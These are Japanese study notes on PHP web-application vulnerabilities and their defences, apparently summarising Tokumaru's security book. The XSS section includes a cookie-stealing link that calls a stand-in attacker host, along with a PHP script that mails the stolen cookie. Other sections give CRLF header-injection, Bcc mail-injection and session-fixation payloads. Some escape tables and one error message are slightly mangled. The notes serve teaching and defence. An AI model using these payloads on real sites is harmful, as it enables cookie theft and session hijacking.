見出し | セキュリティ
参考資料
-
一般社団法人JPCERTコーディネーションセンター(Japan Computer Emergency Response Team Coordination Center) JPCERT
-
Vulnerability Notes
情報処理推進機構(IPA)とJPCERTが共同で運営。
本記事内容
-
XSS ・・・○
-
SQLインジェクション ・・・○
-
HTTPヘッダインジェクション ・・・○
-
メールヘッダーインジェクション ・・・○
-
ディレクトリトラバーサル ・・・○
-
OSコマンドインジェクション ・・・○
徳丸本記載内容
-
表示処理に伴う問題
-
XSS ○
-
エラーメッセージからの情報漏洩
-
-
SQLインジェクション ○
-
CSRF ○
-
セッション管理不備(推測、盗み出し、強制) ○
-
リダイレクト処理にまつわる脆弱性
-
オープンリダイレクタ
-
HTTPヘッダ・インジェクション ○
-
-
クッキー ○ 5章 WEBに関するテクニック > クッキー
-
メールヘッダインンジェクション ○
-
ファイルアクセスにまつわる問題
-
ディレクトリ・トラバーサル ○
-
意図しないファイル公開 ○
- ディレクトリ・リスティング(Directory Listing)
-
-
OSコマンドインジェクション ○
-
ファイルアップロードにまつわる問題
-
アップロードの問題 ○
-
ダウンロードの問題
-
-
インクルードにまつわる問題 ○ 11章 アプリケーションのテクニック > require/include
-
evalにまつわる問題
-
共有資源に関する問題
基礎知識
HTMLフォーム入力域
<input type="text" name="foo" value="Input area sample.">
<textarea name="bar">Text area sample.</textarea>
-
input要素のvalue値は
<,>をメタ文字と解釈しません(hiddenも含みます)。 -
<textarea>と</textarea>で囲まれた部分は</textarea>を除いて<,>をメタ文字と解釈しません。
<, > はHTMLのメタ文字と解釈されないので下記コードはJavaScriptを実行しません。
<textarea name="bar"><script>alert('Script');</script></textarea>
もちろん上記内容を送信しdiv要素などへエスケープせずに表示した場合はスクリプトが実行されます。
- ブラウザはHTMLをパースしてフォーム要素(input, textarea)の初期値として表示する際、HTMLエンティティ(
<や>など)を通常の文字(<,>)にレンダリングします。
ブラウザがHTMLエンティティを入力エリアに表示した際、内部のDOM値(.value)としては通常の文字にデコードされるため、そのままフォーム送信を行うとデコードされた <, > が送信されます。
<textarea name="bar"><script>alert('Script.');</script></textarea>
<input type="submit" name="send" value="送信">
...
...
echo '<p>' . $_POST['bar'] . '</p>';
そのため上記コードの送信ボタンを押すと、エスケープされていない場合はJavaScriptが実行されます。
一方、利用者がテキストエリアへ直接 <script>alert('Script.');</script> を入力したときは、その文字列自体がそのまま送信されます。画面へ出力する際にエスケープ処理を行っていればスクリプトは実行されません。
入力検証、エスケープ、サニタイズ
-
入力値の検証はデータの整合性を保証します
-
エスケープ処理はデータをサニタイズ(無害化)する手段です。XSSなどのセキュリティ対策は出力のエスケープ処理で対応します
エスケープ処理とはサニタイズ(無害化)の手段です。
またエスケープは異なるコンテキストでもデータの内容をそのまま保持するためのテクニックのことでもあります。
JavaScript 同一生成元ポリシー
同一生成元ポリシー(same origin policy)とは、JavaScriptによるサイトをまたがったアクセスを禁止するセキュリティ上の制限であり、ブラウザのサンドボックスに用意された制限の1つです。 -- 「安全なWebアプリケーションの作り方」(徳丸 p58)
同一生成元ポリシーに違反した例(Google Chrome)
| アクセス元 | アクセス先 |
|---|---|
| example.jp | example.com |
example.jp/violation.html
<html>
<body>
<script src="/jquery.js"></script>
<script>
.....
$.get('http://example.com/xxx', function(data) {
// 成功時の処理
});
</script>
</body>
上記は、example.jpからexample.comに対するサイトを跨いだリクエストのためにエラーになります。
XMLHttpRequest cannot load http://example.com/xxx. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://example.com' is therefore not allowed access.
同一生成元ポリシー回避策
-
CORS(Cross-Origin Resource Sharing)・・・サーバでHTTPレスポンスヘッダで許可
CORS(Cross-Origin Resource Sharing)
HTTPレスポンスのAccess-Control-Allow-Originヘッダで許可するアクセス元を指定します。
例えば全てのアクセス元を許可するときは以下のようになります。
Access-Control-Allow-Origin: *
| ref. [HTTP アクセス制御 (CORS) - HTTP | MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/HTTP_access_control?utm_source=gemini) |
XSS
-
脆弱性のある攻撃対象サイト(A): target.example.com
このサイトのクッキーを盗みたい
-
悪意のあるサイト(B): trap.example.com
以下に例を示す。 window.location.hrefプロパティはwindow.location.replace()でも同じ。
ref. 【Javascript】location.hrefとlocation.replace()の違い。
攻撃対象サイト(A)に存在する脆弱性。
// http://target.example.com/xss/unsafe.php
<?php
session_start();
// レガシーなブラウザ向けXSSフィルタ機能を無効化(検証用)
header('X-XSS-Protection: 0');
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
<input type="text" name="keyword">
<input type="submit" name="send" value="送信">
</form>
<p><?php echo isset($_GET['keyword']) ? 'Keyword: ' . $_GET['keyword'] : ''; ?></p>
</body>
</html>
脆弱性を攻撃する悪意あるサイト(B)に設置したリンク。
<!-- パーセントエンコード%2Bは+ -->
<a href="http://target.example.com/xss/unsafe.php?keyword=<script>window.location.href='http://trap.example.com/xss/attack_mail.php?cookie='%2Bdocument.cookie;</script>">悪意あるリンク</a>
攻撃対象サイト(A)からのレスポンス(target.example.comからのレスポンス)。
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
<input type="text" name="keyword">
<input type="submit" name="send" value="送信">
</form>
<p><script>window.location.href='http://trap.example.com/xss/attack_mail.php?cookie='+document.cookie;</script></p>
</body>
</html>
リダイレクト先の悪意あるサイト(B)のメール送信スクリプト。
<?php
mb_language('Japanese');
mb_internal_encoding('UTF-8');
$cookie = $_GET['cookie'];
$to = 'info@trap.example.com';
$subject = mb_encode_mimeheader('XSSテスト', 'UTF-8');
$message = $cookie;
$header_array = array(
'Mime-Version: 1.0',
'Content-Type: text/plain; charset=UTF-8',
'Content-Transfer-Encoding: 8bit',
'From: info@trap.example.com',
);
$headers = implode("\r\n", $header_array);
$mail_result = mail($to, $subject, $message, $headers);
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<?php echo htmlspecialchars($cookie, ENT_QUOTES, 'UTF-8'); ?>
</body>
</html>
JavaScriptに関係するXSSの主な原因を記載します。
上記レスポンスを返した攻撃対象サイト(A)のクッキー情報をブラウザ自身が悪意あるサイト(B)に送信することはありません。
しかしレスポンス内のJavaScriptは悪意あるサイト(B)にリダイレクトする前に攻撃対象サイト(A)のクッキー情報を読み取って、悪意あるサイト(B)のURLにそのクッキー情報を付与してから悪意あるサイト(B)にリダイレクトするので、攻撃対象サイト(A)のクッキーが悪意あるサイト(B)へ送信されます。
対策
-
出力時の適切なエンコーディング
HTML要素のコンテンツや属性値へ出力する際は、
htmlspecialchars(ENT_QUOTES指定)等で適切にエスケープ処理を実施します。 -
Context-Security-Policy (CSP) の導入
現代のWebアプリケーションにおける強力な防御策として CSP(Content Security Policy)を設定します。インラインスクリプトの実行制限や許可されたドメインからのスクリプト読み込みのみを認める設定を行います。
// 自ドメインおよび信頼されたソースからのスクリプトのみ許可する例 header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com"); -
HTTPレスポンスヘッダによる追加防御
header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header("Content-Security-Policy: default-src 'self'");- ※ 過去に使用されていた
X-XSS-Protectionヘッダーは、現代の主要ブラウザで非推奨・廃止となっているため、代わりに CSP の導入が推奨されます。
- ※ 過去に使用されていた
-
セッションクッキー保護
セッションID用クッキー(通常PHPSESSID)の
HttpOnly属性を有効にし、JavaScriptからクッキーへアクセスできないようにします(php.iniのsession.cookie_httponly = On)。 -
Webサーバ設定
Apacheの
httpd.confでTraceEnable offを設定します。
htmlspecialchars/htmlentities
XSS対策は特殊文字 &, <, >, ', " をHTMLエンティティ(文字参照)へエスケープし出力します。
| 変換前 | 変換後 |
|---|---|
| & (アンパサンド) | & |
| ” (ダブルクォート) | ” |
| ’ (シングルクォート) | ’ (ENT_HTML401 の場合) あるいは ‘ ( ENT_XML1、ENT_XHTML、 ENT_HTML5 の場合)。 |
| < (小なり) | < |
| > (大なり) | > |
引用 PHP: htmlspecialchars - Manual。
| 関数名 | 内容 | 例 |
|---|---|---|
| htmlspecialchars | 特殊文字をHTMLエンティティ(文字参照)へ変換します。第2引数へENT_QUOTESを指定したときの特殊文字は &, <, >, ', " です。 |
htmlspecialchars(‘対象文字’, ENT_QUOTES, ‘UTF-8’); |
| htmlentities | HTMLエンティティへ変換可能な全ての文字を変換します | htmlentities(‘対象文字’, ENT_QUOTES, ‘UTF-8’); |
htmlspecialcharsとhtmlentitiesの違い
htmlentitiesはHTMLエンティティへ変換可能な全ての文字を変換します。変換可能な文字は下記関数で取得できます。
get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES); // htmlspecialcharsが変換する文字種の確認
get_html_translation_table(HTML_ENTITIES, ENT_QUOTES); // htmlentitiesが変換する文字種の確認
JavaScript
分類
-
href属性値
-
イベントハンドラ
-
scriptタグ、styleタグ/属性
href属性
href属性はJavaScriptをJavaScriptプロトコル(javascript:)で記述することができます。
JavaScriptの混入を避けるためhref属性値へ外部の入力値を含めるときは属性値がhttp://やhttps://で始まっていることを確認してください。
イベントハンドラ,scriptタグ、styleタグ/属性
-
入力値をUnicodeエスケープする方法が現実的です。
Unicodeエスケープはハイフン、ピリオド、英数字以外をJavaScriptでUTF-16のビッグエンディアンを表す
\uXXXXへ変換します。UTF-16はUTF-8と混合できます。
-
Unicodeエスケープができないときはイベントハンドラとscriptタグに分けて下記処理行ってください。
-
(1) JavaScriptの特殊文字(
',",\, 改行)をJavaScriptのコンテキストでエスケープします。 -
(2-1) イベントハンドラは(1)の結果をhtmlspecialchars/htmlentitiesでエスケープします。
-
(2-2) scriptタグのときは(1)の結果に
</という文字が含まれていないかを検証します。
-
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2335). SBクリエイティブ株式会社. Kindle 版.
scriptタグの中は実体参照 < を < と解釈しません。そのため2-2でhtmlspecialchars/htmlentitiesでエスケープした場合は < 自体を表示したいときに問題が出るので使えません。
同様に < ではなく </ を検証するのは < 自体を表現したいときの問題を避けるためです。HTMLの規格では </ はscriptタグの中へ記述できないので </ が記載されていないかを検証します。
Unicodeエスケープ
PHP逆引レシピ(p777)
$escaped = preg_replace_callback(
'/[^-\.0-9a-zA-Z]+/u',
function ($matches) {
$u16 = mb_convert_encoding($matches[0], 'UTF-16');
return preg_replace('/[0-9a-f]{4}/', '\u$0', bin2hex($u16));
},
$subject
);
echo $escaped;
| [Unicode ~ユニコードエスケープ形式とは~(文字コード関連) | 読み物 | ウナのIT資格一問一答](http://una.soragoto.net/topics/12.html?utm_source=gemini) |
XSS対策としてエスケープする必要があるJavaScript文字
| JavaScriptの文字列 | JavaScriptのエスケープシーケンス |
|---|---|
| ’ | ’ |
| ” | ” |
| \ | \ |
| 改行コード | \n |
JavaScript文字列としてエスケープ -> HTMLエスケープ
| 元入力 | JavaScriptエスケープ後 | HTMLエスケープ後 |
|---|---|---|
| <>’”\ | <>’”\ | <>\'\”\\ |
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2301). SBクリエイティブ株式会社. Kindle 版.
クリックジャック
他のページからiframeで表示されることで意図しない処理が行わせます。
iframeとして読み込まれたページに脆弱性があるとXSSなどの脆弱性が起きます。
対策
| ヘッダー | 値 |
|---|---|
| X-Frame-Options | DENY (フレームとして表示することを禁止します。) SAMEORIGIN (同一ドメインのみ表示を許可します。) |
| Content-Security-Policy | frame-ancestors ‘none’ (現代の標準的なフレーム組み込み制御) |
header('X-Frame-Options: DENY');
header("Content-Security-Policy: frame-ancestors 'none'");
CSRF(cross-site request forgeries)
内容
悪意あるサイトからリクエストを受け処理を実行する脆弱性です。
CSRFでは下記の理解が重要です。
-
form要素のaction属性は外部ドメインを指定可能です。
-
外部ドメインを指定したフォームのリクエストで外部ドメインで発行されたクッキー(つまりセッションIDも)が送信されます。
影響と被害
いたずら的書き込み、不正サイトへの誘導、犯罪予告といった掲示板やアンケートフォームへの不正な書き込み 不正な書き込みを大量に行うことによるDoS攻撃
-- https://www.trendmicro.com/ja_jp/security-intelligence/research-reports/threat-solution/csrf.html#:~:text=%E5%BD%B1%E9%9F%BF%E3%81%A8%E8%A2%AB%E5%AE%B3,%E3%81%B8%E3%81%AE%E4%B8%8D%E6%AD%A3%E3%81%AA%E6%9B%B8%E3%81%8D%E8%BE%BC%E3%81%BF
対策
外部から知ることのできないトークンをhidden属性値として埋め込みサーバー側でセッションを使いリクエストの妥当性を検証します。 トークンとして利用されるものに下記があります。
-
セッション値
-
ワンタイムトークン(nonce: number used once)
セッション値で良いかワンタイムトークンが必要かは開発ポリシーによります。
セッション使用例
<?php
session_start();
if (!isset($_POST['token']) || session_id() !== $_POST['token']) {
echo '不正アクセスです。';
return;
}
if (isset($_POST['send']) && $_POST['send'] !== '') {
mb_language('Japanese');
mb_internal_encoding('UTF-8');
$password = isset($_POST['password']) ? $_POST['password'] : '';
$to = 'info@foo.jp';
$subject = mb_encode_mimeheader('CSRF対策あり', 'UTF-8');
$message = $password;
$header_array = array(
'Mime-Version: 1.0',
'Content-Type: text/plain; charset=UTF-8',
'Content-Transfer-Encoding: 8bit',
'From: cracked@foo.jp',
);
$headers = implode("\r\n", $header_array);
$mail_result = mail($to, $subject, $message, $headers);
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>脆弱性</title>
</head>
<body>
<form action="" method="post">
<input type="hidden" name="token" value="<?php echo htmlspecialchars(session_id(), ENT_QUOTES, 'UTF-8'); ?>">
パスワード: <input type="password" name="password"><br>
<input type="submit" name="send" value="送信">
</form>
</body>
</html>
nonce(ワンタイムトークン)例
<?php
session_start();
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_SESSION['token']) && $_SESSION['token'] === $_POST['token']) {
// 正常な処理
} else {
echo '不正なアクセスです。';
return;
}
$_SESSION['token'] = bin2hex(random_bytes(32));
?>
<form method="POST" action="controller.php">
<input type="hidden" name="token" value="<?php echo htmlspecialchars($_SESSION['token'], ENT_QUOTES, 'UTF-8'); ?>">
...
<input type="submit" name="send" value="送信">
</form>
SQLインジェクション対策
-
極力プリペアドステートメントを使用してください。
-
プリペアドステートメントが使えないときはPDO::quoteを使用してください(プリペアドステートメントが利用できるときはPDO::prepareを使用することが強く推奨されます)。
-
PDO以外を使用しているときはそのドライバが提供している専用の関数を使用してください。
-
pg_escape_string
-
addslashesはSQLインジェクション対策用の関数としては不十分なため使用しないでください。
プリペアドステートメントはテーブル名やフィールド名には使用できません。そのためテーブル名やフィールド名へ外部からの入力を含めるときはプリペアドステートメントだけではSQLインジェクションの対策としては不十分です。
DB文字コード
DB処理は文字コード(多くの場合UTF-8)を正しく指定してください。
-
PDO dsnで文字コードを指定します。
-
mysqliは下記記事を参考にしてください。
MySQLデータベース作成
CREATE DATABASE example_db DEFAULT CHARACTER SET utf8mb4;
PDOで文字コードを指定し接続
<?php
$pdo = new PDO(
'mysql:host=<host>;dbname=<database>;charset=utf8mb4',
'<user>',
'<password>'
);
HTTPヘッダインジェクション
HTTPヘッダは改行で区切られます。HTTPヘッダの中に改行を混入され意図しないヘッダを出力する脆弱性がHTTPヘッダインジェクションです。
またHTTPヘッダと本文は空白行で区切られるのでHTTPヘッダへ意図せぬ改行を2回連続で出力された後のデータがレスポンスボディとして表示されることで画面を改変されることも含まれます。
HTTPヘッダの例
Content-Encoding:gzip
Content-Length:16586
Content-Type:text/html; charset=UTF-8
PHP5.1.1以前ではheader関数は改行を検証しておらずHTTPヘッダインジェクションがありました。
<?php
header('Location: ' . $_GET['url']);
http://example.jp/header.php?url=http://example/top.php%0d%0aSet-Cookie:+PHPSESSID%3DABC %0dはCR、%0aはLFで%0d%0aは改行(CRLF)を表します。上記は下記のヘッダを出力します。
Location: http://example/top.php
Set-Cookie: PHPSESSID=ABC
PHP5.1.2で改行を検証するようになり上記の問題はなくなりました。
改行を検証するようになったPHP5.1.2以降も攻撃によってHTTPヘッダインジェクションが起こる可能性がありましたが下記バージョンで対策が行われています。
-
5.4.38
-
5.5.22
-
5.6.6
| [PHPにおけるHTTPヘッダインジェクションはまだしぶとく生き残る | 徳丸浩の日記](http://blog.tokumaru.org/2015/12/phphttp.html?utm_source=gemini) |
メールヘッダインジェクション
メールのヘッダーも改行で区切ります。下記のコードは意図せぬヘッダーを追加されるサンプルです。
<?php
$from = $_GET['from'];
mb_language('japanese');
mb_internal_encoding('UTF-8');
$to = 'info@example.jp';
$subject = '日本語の題名';
$message = '日本語メールの本文。';
$mail_result = mb_send_mail($to, $subject, $message, $from);
if ($mail_result) {
echo '送信完了';
} else {
echo '失敗';
}
クエリ文字
?from=From%3a+info@example.com%0d%0aBcc%3a+info@trap.example.com
// %0d%0aは改行(CRLF)をURLエンコーディングした値です。
上記コードはメールヘッダーへFromに加えBccも追加します。
セッション推測、盗み出し、強制
対策
-
セッション管理はPHPが提供するセッション管理機構を使用してください(セッション推測対策)。 独自に実装しないでください。
-
php.iniの
session.use_only_cookiesを1に設定します(セッション盗み出し、強制対策)。 -
ログイン時にセッションを再生成し古いセッションを破棄します(セッション固定化対策)。
-
SSL/TLS化(盗み出し対策)
セッション推測原因
不備のあるセッション管理機構の使用により起こります。
セッション管理はPHPが提供するセッション管理機構を使用してください。
盗み出し原因
-
クッキー生成の際の属性不備により漏洩する
-
ネットワーク的にセッションIDが盗聴される
-
クロスサイト・スクリプティングなどアプリケーションの脆弱性により漏洩する
-
PHPやブラウザなどプラットフォームの脆弱性により漏洩する
-
セッションIDをURLに保持している場合は、Refererヘッダから漏洩する
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3168-3174). SBクリエイティブ株式会社. Kindle 版.
セッション固定化
URLによるセッションの埋め込みは session.use_only_cookies を1にすることで防ぐことができます。
原則クッキーの値は第三者は変更できません。ただし下記の脆弱性がある場合は変更される可能性があります。
-
クッキーモンスター問題
-
クロスサイト・スクリプティング
-
HTTPヘッダ・インジェクション
例えばXSSがありJavaScriptが実行できると下記コードでセッションを埋め込むことができます。
document.cookie = 'PHPSESSID=' + encodeURIComponent('注入したい値');
また不具合ではなくPHPのセッション管理機構は仕様上セッションアダプションが起こります。
セッションアダプション(Session Adoption)
先の攻撃シナリオで、PHPSESSID=ABCというセッションIDが使用されています。ABCは、攻撃者が勝手に作成したセッションIDですが、PHPには未知のセッションIDを受け入れるという特性があります。この特性はセッションアダプション(Session Adoption)と呼ばれます。
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方(p178)
セッションアダプションは PHP 5.5.4 以降で、
session.use_strict_mode = Onを指定すると解消されます。
session_regenerate_id(true)の動作
session_regenerate_id(true); // trueを指定しないと古いセッションが破棄されず利用できます。必ずtrueを指定してください。
-
cookieのPHPSESSIDを新しい値へ変更。
-
古いセッションファイルを削除し新しいセッションファイル作成。内容は古いファイルと同じ(セッションは維持されている)。
ファイルアップロード
-
拡張子がphpなどのプログラムはアップロードさせないでください。 通常のプログラムと同様にURLへアクセスし実行できます。
-
アップロードファイル名はアップロード者が自由に命名できます。禁止文字が含まれる可能性があるため、システム側で安全なランダム文字列等に変更してください。
-
通常アップロードファイルの拡張子は画像(png, jpg, gif)のみに制限します。
しかし拡張子はアップロード者が自由に指定できるため信用しないでください。
-
画像の検証は
getimagesize関数などを用いてファイル構造を確認してください。
画像アップロードサンプル
<?php
function check_uploaded_image_type($tmp, $name)
{
$data = [
'message' => '',
'errors' => [],
];
$info = getimagesize($tmp);
if ($info === false) {
$data['message'] = '画像ではありません。';
$data['errors'][] = 'Not Image.';
return $data;
}
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (!in_array($ext, ['gif', 'jpg', 'jpeg', 'png'], true)) {
$data['message'] = 'GIF, JPEG, PNG形式のファイルのみアップロードできます。';
$data['errors'][] = 'Invalid File Extension.';
return $data;
}
if ($ext === 'gif' && $info[2] === IMAGETYPE_GIF) {
$data['message'] = 'GIF画像です。';
return $data;
}
if (($ext === 'jpg' || $ext === 'jpeg') && $info[2] === IMAGETYPE_JPEG) {
$data['message'] = 'JPEG画像です。';
return $data;
}
if ($ext === 'png' && $info[2] === IMAGETYPE_PNG) {
$data['message'] = 'PNG画像です。';
return $data;
}
$data['message'] = '不正なデータです。';
$data['errors'][] = 'Invalid Data.';
return $data;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['send']) && $_POST['send'] === '送信') {
if (!isset($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
echo 'アップロードされたファイルではありません。';
return;
}
$data = check_uploaded_image_type($_FILES['file']['tmp_name'], $_FILES['file']['name']);
if (count($data['errors']) === 0) {
echo '正常なファイルです。'.$data['message'];
} else {
echo '不正なファイルです。'.$data['message'];
}
}
?>
<html>
<body>
<form action="<?php echo htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8'); ?>" method="POST" enctype="multipart/form-data">
<input type="text" name="foo">
<input type="file" name="file">
<input type="submit" name="send" value="送信">
</form>
</body>
</html>
ダウンロード
-
Content-Type を正しく設定してください。
-
画像はマジックバイトを確認してください。
-
必要があれば
Content-Dispositionヘッダを設定してください。
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="filename.ext"
NULLバイト
NULLバイトとは文字列終端を表すバイナリ値(\0 や %00)です。
PHP 5.3.4 以降、ファイルパス処理を行う主要な関数群はバイナリセーフとなり、NULLバイトが含まれている場合は例外・エラーとなるためNULLバイト攻撃への堅牢性が向上しています。
ディレクトリトラバーサル
外部入力へ親ディレクトリを表す ../ を混入することで意図しないファイルを開かれる脆弱性です。
対策
-
basename()関数でファイル名のみを取得します。 -
外部入力を英数字などのホワイトリストに限定します。
安全なファイル読み込み例
$dir = '/var/www/images/';
$allowed_ext = ['png', 'jpg', 'jpeg'];
$filename = basename($_GET['filename']);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext, true)) {
die('不正なファイル拡張子です。');
}
$filepath = $dir . $filename;
if (file_exists($filepath)) {
echo file_get_contents($filepath);
}
OSコマンドインジェクション
| 関数 | 意味 |
|---|---|
| escapeshellarg | 文字列をシングルクォートで囲み、シェルの引数として安全に渡せるようにエスケープします。 |
| escapeshellcmd | シェルコマンドの中で特別な意味を持つ記号(;, ` |
基本的には外部入力値を元にOSコマンドを実行する設計自体を避けることが最も安全な対策です。
Ajaxのセキュリティ
| 項目 | 内容 |
|---|---|
| レスポンスヘッダー | Content-Type: application/json; charset=UTF-8 |
| レスポンスヘッダー | X-Content-Type-Options: nosniff |
| リクエストヘッダー | X-Requested-With: XMLHttpRequest の存在を確認して通常リクエストと区別する |
php.ini
セキュリティ関連のphp.ini設定
| ディレクティブ | 推奨値 | 内容 |
|---|---|---|
| session.use_only_cookies | 1 | セッションIDの保持にクッキーのみを使用し、セッション固定化攻撃を防ぐ。 |
| session.use_strict_mode | On | 未知のセッションIDを拒否し、セッションアダプション攻撃を防ぐ。 |
| allow_url_fopen | 0 (必要時以外) | リモートファイルのオープンを無効化。 |
| allow_url_include | 0 | include / require でのリモートURL指定を禁止。 |
| disable_functions | exec,system,passthru,shell_exec | 危険なシステムコマンド実行関数を無効化。 |
ハッシュ関数/乱数
ハッシュ
PHP 5.5 以降(現代のPHP標準)では、パスワードハッシュ化に password_hash() を使用します。
※ 注意: PHP 7.0 以降、password_hash() における手動の 'salt' オプションは非推奨となり、PHP 8.0 で完全廃止されました。ソルトは関数の内部で暗号学的に安全な乱数を用いて自動生成されるため、オプションとして指定してはいけません。
<?php
$password = 'user_password_string';
// 暗号学的に安全なハッシュを生成(アルゴリズムやコスト、ソルトがハッシュ文字列に含まれる)
$hash = password_hash($password, PASSWORD_DEFAULT);
// パスワードの検証
if (password_verify($password, $hash)) {
echo '認証成功';
} else {
echo '認証失敗';
}
安全な乱数生成
暗号学的に安全な疑似乱数生成には random_bytes() や random_int() を使用します。
// 32バイトの安全なバイナリ乱数を生成しHex変換
$token = bin2hex(random_bytes(32));
XSSI
Cross-Site Script Inclusion (XSSI) は、<script> タグを用いてクロスドメインで秘密情報を含むJavaScriptやJSONPを取得・漏洩させる攻撃手法です。対策として機密データを含むレスポンスに X-Content-Type-Options: nosniff や適切な Content-Type を設定し、JSONレスポンスの先頭に実行不可な接頭辞(例: }]}')を付与するなどの防御を行ないます。
その他
time() 関数は UNIX エポックからの秒数を返します。推測が容易なため、暗号用のソルトやワンタイムトークンの生成源として単体で使用してはいけません。